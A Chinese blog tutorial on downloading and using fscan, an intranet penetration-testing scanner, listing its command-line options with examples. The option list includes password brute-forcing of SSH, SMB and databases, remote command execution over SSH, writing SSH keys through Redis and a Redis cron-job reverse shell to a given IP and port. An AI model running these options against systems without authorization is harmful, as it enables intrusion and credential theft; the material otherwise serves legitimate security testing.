fscan工具的下载和简单使用
·
fscan是一款针对内网渗透的扫描工具,方便一键自动化、全方位漏扫扫描。主要功能有主机存活探测、全端口扫描、常用服务密码爆破和数据库密码爆破、系统信息获取、安全漏洞检测等功能。
目录
1、工具下载
下载链接:https://github.com/shadow1ng/fscan/releases
目前最新的fscan扫描工具版本为1.8.4,进入该链接下载对应系统的使用包,我这里是64位的windows系统,所以下载fscan.exe。

下载完成后直接点击会闪出后关闭,可以在fscan.exe路径下打开终端,输入命令来查看帮助:
fscan.exe -h
终端的页面显示如下:

2、工具使用
对目标网络的服务器进行全模块扫描:
fscan.exe -h 目标ip
例如:
fscan.exe -h 192.168.1.1
扫描网段:
fscan.exe -h 目标网段
例如:
fscan.exe -h 192.168.x.x -h 192.168.1.1/24 //C段
fscan.exe -h 192.168.x.x -h 192.168.1.1/16 //B段
fscan.exe -h 192.168.x.x -h 192.168.1.1/8 //A段的192.x.x.1和192.x.x.254,方便快速查看网段信息
扫描ip文件,ip.txt文件格式需要调整为每行一个ip:
fscan.exe -h 192.168.x.x -hf ip.txt //以文件导入
完整命令如下:
-c string
ssh命令执行
例如:fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
例如:fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别)
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
例如:fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
例如:fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)